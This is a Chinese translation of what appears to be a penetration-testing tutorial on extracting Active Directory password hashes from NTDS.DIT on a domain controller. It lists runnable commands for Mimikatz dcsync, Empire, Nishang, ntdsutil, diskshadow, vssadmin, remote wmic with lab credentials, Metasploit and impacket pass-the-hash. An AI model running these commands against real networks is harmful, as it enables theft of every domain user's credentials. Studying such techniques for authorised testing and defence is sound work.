导语:在渗透测试中,获取域管理员权限来提取域内所有用户的密码哈希以便日后离线破解和分析是很常见的事情。这些hash存储在域控数据库的NTDS.DIT文件中,这个文件中还有一些其他的信息,比如组成员信息和用户信息。

在渗透测试中,获取域管理员权限来提取域内所有用户的密码哈希以便日后离线破解和分析是很常见的事情。这些hash存储在域控数据库的NTDS.DIT文件中,这个文件中还有一些其他的信息,比如组成员信息和用户信息。

操作系统一般都有NTDS.DIT这个文件,而且该文件不能被复制到其他路径下进行提取信息。该文件的路径位置如下:

C:\Windows\NTDS\NTDS.dit

提取文件中内容的技术多种多样,但大多数方法都离不开以下几种:

1.域控复制服务。

2.原生Windows二进制

3.WMI(Windows管理规范)

Mimikatz

Mimkatz有一个功能是dcsync,这个功能可以利用目录复制服务技术(DRS)来获取NTDS.DIT文件中存储的密码hash值。这个技术不需要域控直接授权,可以在域管理员管理的任何一台系统上执行。因此这种技术是红队的标准技术并且执行时产生的动静比较小,命令如下:

lsadump::dcsync /domain:pentestlab.local /all /csv

如图所示:

导出域密码hash值的工具备忘单

通过使用参数/user指定域中的用户名,mimikatz便能dump该用户的所有账户信息包括密码hash值。

lsadump::dcsync /domain:pentestlab.local /user:test

如图:

导出域密码hash值的工具备忘单

除了直接在域控中执行Mimikatz,也可以通过lsass.exe来dump密码hash值。

privilege::debug
lsadump::lsa /inject

如图:

导出域密码hash值的工具备忘单

我们将会获取到域中用户的密码hash值,如图:

导出域密码hash值的工具备忘单

Empire

PowerShell Empire有两个模块可以通过DCsync攻击来获取域的hash值。两个模块都需要以域管理员的角色来执行并且他们使用的是Microsoft的复制服务。这些模块依赖于Invoke-MimikatzPowerShell脚本才能执行DCsync相关的Mimikatz命令。以下模块会提取域中的hash值并输出,输出结果的格式跟Metasploit的hashdump命令输出的结果类似。

usemodule credentials/mimikatz/dcsync_hashdump
导出域密码hash值的工具备忘单

DCsync模块需要指定用户来提取所有账户信息。

导出域密码hash值的工具备忘单

我们将会获取到如图所示的信息:

导出域密码hash值的工具备忘单

Nishang

Nishang是PowerShell的一个框架,红队成员和渗透测试员可以使用这个框架对操作系统执行入侵操作。Copy-VSS脚本可以用来自动提取所需的文件:NTDS.DIT,SAM and SYSTEM。这些文件会被提取到当前工作目录或是指定的任何其他目录。

Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\
导出域密码hash值的工具备忘单

或者,可以通过加载PowerShell扩展,从当前已有的Meterpreter会话执行脚本。

load powershell
powershell_import /root/Copy-VSS.ps1
powershell_execute Copy-VSS
导出域密码hash值的工具备忘单

或者,直接使用powershell_shell命令建立一个PowerShell会话来提取文件也是有可能的,只要脚本导入到了当前已有的Meterpreter会话中。

Copy-VSS
Copy-VSS -DestinationDir C:\Ninja
导出域密码hash值的工具备忘单

PowerSploit包含利用VSS卷影拷贝服务的PowerShell脚本,可以创建一个新加卷并用来提取文件。

Import-Module .\VolumeShadowCopyTools.ps1
New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy
导出域密码hash值的工具备忘单

另外,也可以在当前已有的Meterpreter会话中通过加载PowerShell扩展来执行。

powershell_shell
New-VolumeShadowCopy -Volume C:\
Get-VOlumeShadowCopy
导出域密码hash值的工具备忘单

这样,就可以使用copy命令来拷贝新加卷中的文件到目标路径中。

Invoke-DCSync

Invoke-DCSync是Nick Landers和leverages PowerView开发的PowerShell脚本,调用Invoke-ReflectivePEInjection和PowerKatz的DLL包装器来获取hash值,跟Mimikatz使用DCSync的方法一样。直接执行该函数会产生如下输出:

Invoke-DCSync
导出域密码hash值的工具备忘单

结果会存储在4个表格里:Domain,User,RID和Hash表。不过,如果执行Invoke-DCSync时带上参数-PWDumpForamt,获取到的hash值得格式是:user:id:lm:ntlm:::

Invoke-DCSync -PWDumpFormat
导出域密码hash值的工具备忘单

在当前已有Meterpreter会话中执行该脚本,获取的输出结果是一样的。

导出域密码hash值的工具备忘单

加上PWDumpFormat参数的输出结果如下:

导出域密码hash值的工具备忘单

ntdsutil

ntds是一个命令行工具,域控生态系统的一部分,它的作用是让管理员能够访问和管理Windows活动目录数据库。然而,它可以被渗透测试员和红队成员滥用来给现有的ntds.dit文件拍摄快照,这样就可以拷贝到新的路径中以便日后离线分析和密码hash值提取。

ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit
导出域密码hash值的工具备忘单

生成两个新文件夹:Active Directory和Registry。NTDS.DIR文件存放在Active Directory中,SAM文件和SYSTEM文件存放在Registry中。

导出域密码hash值的工具备忘单

DiskShadow

Diskshadow是微软签名的二进制程序,用来协助管理员进行卷影拷贝服务(VSS)相关操作的。这个二进制程序有交互式和脚本两个模式,因此可以使用一个脚本文件,它将包含自动执行NTDS.DIT提取过程所需的所有命令。脚本文件使用以下几行命令来新建卷影拷贝,安装一个新的驱动器,执行copy命令然后删除卷影拷贝。

set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

需要注意的是DiskShadow程序需要在C:\Windows\System32路径下执行。在其他路径下无法正确执行。

diskshadow.exe /s c:\diskshadow.txt
导出域密码hash值的工具备忘单

在解释器中直接执行如下命令会列出系统中所有的卷影拷贝。

diskshadow
LIST SHADOWS ALL[object Object]

系统注册表项也要复制,因为它包含了解密NTDS.DIT文件内容的key值。

reg.exe save hklm\system c:\exfil\system.bak
导出域密码hash值的工具备忘单

WMI

Sean Metcalf在他的博客中写到,可以通过WMI来远程提取NTDS.DIT和系统文件。这个技术使用vssadmin程序来创建新的卷影拷贝。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"
导出域密码hash值的工具备忘单

然后它远程执行拷贝命令来提取卷影拷贝中的NTDS.DIT文件到目标系统上的其他目录中。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"
导出域密码hash值的工具备忘单

这条命令同样适用于系统文件。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"
导出域密码hash值的工具备忘单

提取到的文件可以从域控中转移到其他的Windows系统,然后dump出域密码hash值。

PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp
导出域密码hash值的工具备忘单

如果生成了一张金票就可以代替凭证了,金票可以用来获取域控的kerberos认证授权。

vssadmin

卷影拷贝是Windows命令行工具,让管理员能够备份计算机,卷和文件,即使是正在使用中也可以备份。卷影拷贝作为一项服务运行在操作系统中,要求文件系统是NTFS格式,现在的操作系统默认都是这个格式。在一个Windows命令行窗口执行如下命令会创建C盘的快照,这些文件其他用户通常是无法访问并且复制到其他位置的(本地文件夹,网络文件夹或是可移动介质)。

vssadmin create shadow /for=C:
导出域密码hash值的工具备忘单

由于C:驱动器中的所有文件都已复制到其他位置(HarddiskVolumeShadowCopy1),所以它们并没有被系统直接使用,因此我们就可以访问这些文件并且进行复制了。Copy命令将会复制NTDS.DIT和系统文件到本地磁盘新创建的ShadowCopy文件夹中。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy
导出域密码hash值的工具备忘单

我们要把下面这些文件从域控中拷贝到其他主机上以便进一步处理分析。

导出域密码hash值的工具备忘单

vssown

Vssown是Tim Tomes开发的,跟vssadmin工具类似,它是一个vb脚本,可以创建和删除卷影拷贝,从卸载的卷影拷贝中执行任意可执行文件,也可以启动和停止卷影拷贝服务。

cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
cscript vssown.vbs /delete
导出域密码hash值的工具备忘单

可以使用copy命令拷贝所需的文件。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown
导出域密码hash值的工具备忘单

Metasploit

Metasploit框架有一个模块,它通过服务器消息块(SMB)服务直接与域控制器进行身份验证,创建系统驱动器的卷影拷贝,并将NTDS.DIT文件和系统处存档的副本下载到meatsploit的目录中。这些文件可以用其他工具来分析,比如impacket,这些工具可以提取活动目录的密码hash值。

auxiliary/admin/smb/psexec_ntdsgrab
导出域密码hash值的工具备忘单

还有一个后渗透利用模块可以链接到Meterpreter会话中,通过ntdsutil方法来获取域hash。

windows/gather/credentials/domain_hashdump
导出域密码hash值的工具备忘单

或者,如果已经与域控建立了Meterpreter会话,那么可以直接使用hashdump命令。不过这条命令不安全,有可能把域控搞崩了。

hashdump
导出域密码hash值的工具备忘单

fgdump

fgdump是一个很老的可执行文件,可以提取LanMan和NTLM密码hash值。如果获得了本地管理员的凭证,你可以本地或者远程执行该文件。执行期间,fgdump会尝试关掉操作系统中运行着的防病毒软件,如果成功,则会将所有数据写入两文件中。如果存在防病毒软件或者终端解决方案,那就不要再使用fgdump这种方法来dump密码hash值以绕过检测了,因为大多数防病毒公司(包括Microsoft的Windows Defender)都已经对其进行标记。

fgdump.exe
导出域密码hash值的工具备忘单

可以通过检查.pwdump文件的内容来获取密码hash值。

type 127.0.0.1.pwdump
导出域密码hash值的工具备忘单

NTDS Extraction

Impacket是一个python脚本合集,可用于执行各种任务,包括提取NTDS文件的内容。该impacket-secretsdump模块需要系统和NTDS数据库文件。

impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL
导出域密码hash值的工具备忘单

此外,通过使用计算机帐户及其哈希进行身份验证,impacket可以从NTDS.DIT文件中远程dump出域密码hash值。

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1
导出域密码hash值的工具备忘单

NTDSDumpEx二进制程序作为impacket的替代解决方案,也可以提取Windows主机的域密码hash值。

NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive
导出域密码hash值的工具备忘单

还有一个shell脚本adXtract,可以将用户名和密码哈希导出为一种格式,常规的破解软件便可以破解,比如John the Ripper和Hashcat

./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab
导出域密码hash值的工具备忘单

该脚本将所有信息写入项目名称下的各种文件中,当数据库文件NTDS的解密完成后,将用户名和密码哈希值列表导出到控制台中。该脚本将提供有关域用户的大量信息,如下所示:

导出域密码hash值的工具备忘单

密码hash值的格式如下:

导出域密码hash值的工具备忘单